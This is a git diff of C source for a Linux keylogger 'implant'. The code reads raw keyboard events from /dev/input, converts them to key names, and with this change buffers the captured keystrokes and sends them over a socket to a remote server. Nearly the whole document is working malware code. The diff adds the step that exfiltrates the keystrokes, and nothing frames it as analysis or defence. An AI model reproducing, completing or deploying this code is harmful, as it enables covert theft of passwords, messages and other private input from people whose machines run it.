diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -20,6 +20,8 @@
#define QUEUE_BUFFER_SIZE 1024
+#define STRING_BUFFER_SIZE 256
+
/*
represents whatever data is currently logged for a single keyboard
also holds its file descriptor
@@ -31,7 +33,7 @@ struct keyboard_s {
ssize_t nb_chars;
char buffer[QUEUE_BUFFER_SIZE];
- char name[64];
+ char name[STRING_BUFFER_SIZE];
TAILQ_ENTRY(keyboard_s) devices;
};
@@ -46,7 +48,7 @@ typedef struct implant_s {
/* remote connection settings */
unsigned short port;
- char ip[256];
+ char ip[STRING_BUFFER_SIZE];
int disable_net:1;
/* keyboard settings */
@@ -74,12 +76,13 @@ typedef struct implant_s {
// net.c
int init_remote_connection(implant_t *);
+int send_key_description(int, char [STRING_BUFFER_SIZE]);
// opt.c
int parse_user_input(int, char **, implant_t *);
// logger.c
-void keylog(implant_t *);
+void keylog(implant_t *, int);
// keyboard.c
void fetch_available_keyboards(implant_t *);
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -30,10 +30,20 @@ static int get_highest_fd(implant_t *instance) {
return highest_fd;
}
-static int log_keyboard(int fd, struct xkb_state *state) {
+static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRING_BUFFER_SIZE]) {
struct input_event evt = {0};
static bool shift_pressed = false;
+
+
+ /*
+ read events out of /dev/input/by-path/${**}-kbd
+
+ TODO:
+ for now, we only read one, but we can attempt to read them in
+ bulk of 6-10 once bufferizing messages is implemented
+ */
+
ssize_t bytes_read = read(fd, &evt, sizeof(evt));
if (bytes_read != sizeof(evt)) {
@@ -44,6 +54,7 @@ static int log_keyboard(int fd, struct xkb_state *state) {
return ERROR;
}
+ /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not. */
if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
shift_pressed = false;
@@ -58,17 +69,25 @@ static int log_keyboard(int fd, struct xkb_state *state) {
return SUCCESSFUL;
}
- char key_description[256] = {0};
+ /*
+ TODO:
+
+ 1) add support for xlib as well, so that wayland AND xlib are
+ supported. this should allow us to then relay those without issues
+
+ 2) add check for which library is installed & add abstraction layer
+ */
+
xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
if (shift_pressed)
keysym = xkb_keysym_to_upper(keysym);
- xkb_keysym_get_name(keysym, key_description, 256);
+ xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
#ifdef DEBUG
/* tracing this in stdout so that errors can be cleanly sent to a file */
- printf("[+] Key pressed: %s\n", key_description);
+ printf("[+] Key pressed: %s\n", *key_desc_ptr);
#endif
}
@@ -80,7 +99,7 @@ static int log_keyboard(int fd, struct xkb_state *state) {
/*
main loop to listen for keys and stuff
*/
-void keylog(implant_t *instance) {
+void keylog(implant_t *instance, int sockfd) {
/* first set up select etc */
@@ -101,7 +120,7 @@ void keylog(implant_t *instance) {
/*
initialize xkbcommon context
- this is the stuff that allows us to maps keys to
+ this is the stuff that allows us to map keys to
the correct language & manages special characters, shift, etc.
*/
@@ -142,7 +161,7 @@ void keylog(implant_t *instance) {
/* run the damn loop */
- while (1312) {
+ while (0x520) {
/* setup FD-sets */
keyboard_t *it = NULL;
@@ -197,11 +216,17 @@ void keylog(implant_t *instance) {
/* checking for new input here */
if (FD_ISSET(it->fd, &rd)) {
+ char key_desc[STRING_BUFFER_SIZE] = {0};
+
/*
should we really kill the run here or can we recover this ?
i need to run some tests before making a decision.
*/
- if (log_keyboard(it->fd, state) == ERROR)
+ if (ERROR == log_keyboard(it->fd, state, (char **)&key_desc))
+ goto LOG_FUNCTION_CLEANUP;
+
+
+ if (ERROR == send_key_description(sockfd, key_desc))
goto LOG_FUNCTION_CLEANUP;
}
@@ -211,6 +236,9 @@ void keylog(implant_t *instance) {
LOG_FUNCTION_CLEANUP:
+
+ /* TODO: close the file descriptors */
+
if (state != NULL)
xkb_state_unref(state);
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -30,6 +30,6 @@ int main(int ac, char **av) {
if (sockfd < 0)
return 1;
- keylog(&instance);
+ keylog(&instance, sockfd);
return 0;
}
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -2,11 +2,10 @@
/*
this file holds all of the functions needed for communicating with the
remote server
-
-
*/
+#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
@@ -16,6 +15,59 @@
#include "implant.h"
+
+int send_key_description(int sockfd, char key_desc[STRING_BUFFER_SIZE]) {
+
+ /*
+ creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
+ and only sends a message once the buffer size is full.
+
+ it is the responsability of the user to not pick a STRING_BUFFER_SIZE
+ such that a size_t can hold 10 times its size in nb of characters.
+ */
+
+ const size_t max_nb_chars = STRING_BUFFER_SIZE * 10 - 1;
+ static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+ static size_t nb_chars_in_buffer = 0;
+
+ size_t length_keydesc = strlen(key_desc);
+ if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+
+ if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
+
+#ifdef DEBUG
+ perror("send");
+#endif
+ return ERROR;
+ }
+
+ memset(tmp_buffer, 0, nb_chars_in_buffer);
+ nb_chars_in_buffer = 0;
+
+ if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
+#ifdef DEBUG
+ perror("strncpy send_key_description");
+#endif
+ return ERROR;
+ }
+
+ } else {
+
+ if (NULL == strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
+#ifdef DEBUG
+ perror("strncat send_key_description");
+#endif
+ return ERROR;
+ }
+
+ }
+
+ nb_chars_in_buffer = strlen(tmp_buffer);
+ return SUCCESSFUL;
+}
+
+
+
int init_remote_connection(implant_t *instance) {
#ifdef DEBUG
| | | |